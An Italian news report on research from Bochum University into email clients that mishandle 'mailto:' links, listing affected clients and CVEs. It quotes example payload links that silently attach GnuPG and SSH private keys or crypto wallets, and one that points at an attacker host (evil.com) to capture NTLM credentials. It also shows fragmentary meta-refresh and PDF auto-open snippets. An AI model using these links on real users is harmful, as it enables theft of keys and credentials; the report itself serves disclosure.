I ricercatori dell'Università di Bochum (Germania) () il comportamento dei client di posta nella gestione dei link «mailto:» con parametri estesi. Cinque dei venti client di posta esaminati sono risultati vulnerabili a un attacco che manipola la sostituzione delle risorse tramite il parametro «attach». Altri sei client di posta erano suscettibili a un attacco per sostituzione delle chiavi PGP e S/MIME, e tre client sono risultati vulnerabili a un attacco per estrazione del contenuto dei messaggi crittografati.
I link «» vengono utilizzati per automatizzare l'apertura del client di posta con l'obiettivo di scrivere un'email al destinatario specificato nel link. Oltre all'indirizzo, nel link è possibile designare parametri aggiuntivi, come l'oggetto dell'email e un modello di contenuto predefinito. L'attacco proposto manipola il parametro «attach», che consente di allegare un file all'email che si sta creando.
I client di posta Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) e Pegasus Mail sono risultati vulnerabili a un attacco banale, che permette di allegare automaticamente qualsiasi file locale specificato tramite un link del tipo «mailto:?attach=percorso_al_file». Il file viene allegato senza la visualizzazione di un avviso, quindi senza un'attenzione particolare l'utente potrebbe non accorgersi che l'email verrà inviata con l'allegato.
Ad esempio, utilizzando un link del tipo «mailto:?to=user@example.com&subject=Titolo&body=Testo&attach=~/.gnupg/secring.gpg» è possibile inserire nell'email le chiavi private di GnuPG. È anche possibile inviare il contenuto dei portafogli crittografici (~/.bitcoin/wallet.dat), le chiavi SSH (~/.ssh/id_rsa) e qualsiasi file accessibile all'utente. Inoltre, Thunderbird consente di allegare gruppi di file tramite maschere con costrutti del tipo «attach=/tmp/*.txt».
Oltre ai file locali, alcuni client di posta gestiscono link a archivi di rete e percorsi su server IMAP. In particolare, IBM Notes consente di trasmettere file da una directory di rete durante la gestione di link del tipo «attach=\\evil.com\dummyfile», e di intercettare i parametri di autenticazione NTLM inviando un link a un server SMB sotto il controllo dell'attaccante (la richiesta verrà inviata con i parametri di autenticazione correnti dell'utente).
Thunderbird gestisce con successo le richieste del tipo «attach=imap:///fetch>UID>/INBOX>1/», che consentono di allegare contenuti dalle cartelle su un server IMAP. In questo modo, le email estratte da IMAP, cifrate tramite OpenPGP e S/MIME, vengono automaticamente decriptate dal client di posta prima dell'invio. Gli sviluppatori di Thunderbird erano a conoscenza del problema a febbraio e in una versione il problema è già stato risolto (le versioni Thunderbird 52, 60 e 68 rimangono vulnerabili).
Le versioni precedenti di Thunderbird si sono rivelate vulnerabili anche a due altre varianti di attacco su PGP e S/MIME proposte dai ricercatori. In particolare, l'attacco per sostituzione delle chiavi è stato applicabile a Thunderbird, così come a OutLook, PostBox, eM Client, MailMate e R2Mail2, causato dal fatto che il client di posta importa automaticamente e installa nuovi certificati inviati nei messaggi S/MIME, consentendo così all'attaccante di sostituire le chiavi pubbliche già memorizzate dall'utente.
Il secondo attacco, di cui sono vulnerabili Thunderbird, PostBox e MailMate, manipola le caratteristiche del meccanismo di salvataggio automatico delle bozze di messaggi e consente, tramite i parametri mailto, di avviare la decriptazione di messaggi crittografati o di aggiungere una firma digitale a messaggi arbitrari, con la successiva trasmissione del risultato al server IMAP dell'attaccante. Il testo cifrato in questo attacco viene trasmesso tramite il parametro «body», mentre il tag «meta refresh» viene utilizzato per avviare la richiesta al server IMAP dell'attaccante. Ad esempio: ‘<meta http-equiv=
Per l'elaborazione automatica dei link «mailto:» senza l'intervento dell'utente possono essere utilizzati documenti PDF appositamente formattati: l'azione OpenAction nel PDF consente di avviare automaticamente il gestore mailto all'apertura del documento:
%PDF-1.5
1 0 obj
<>
endobj
2 0 obj
<>
endobj
Fonte: opennet.ru
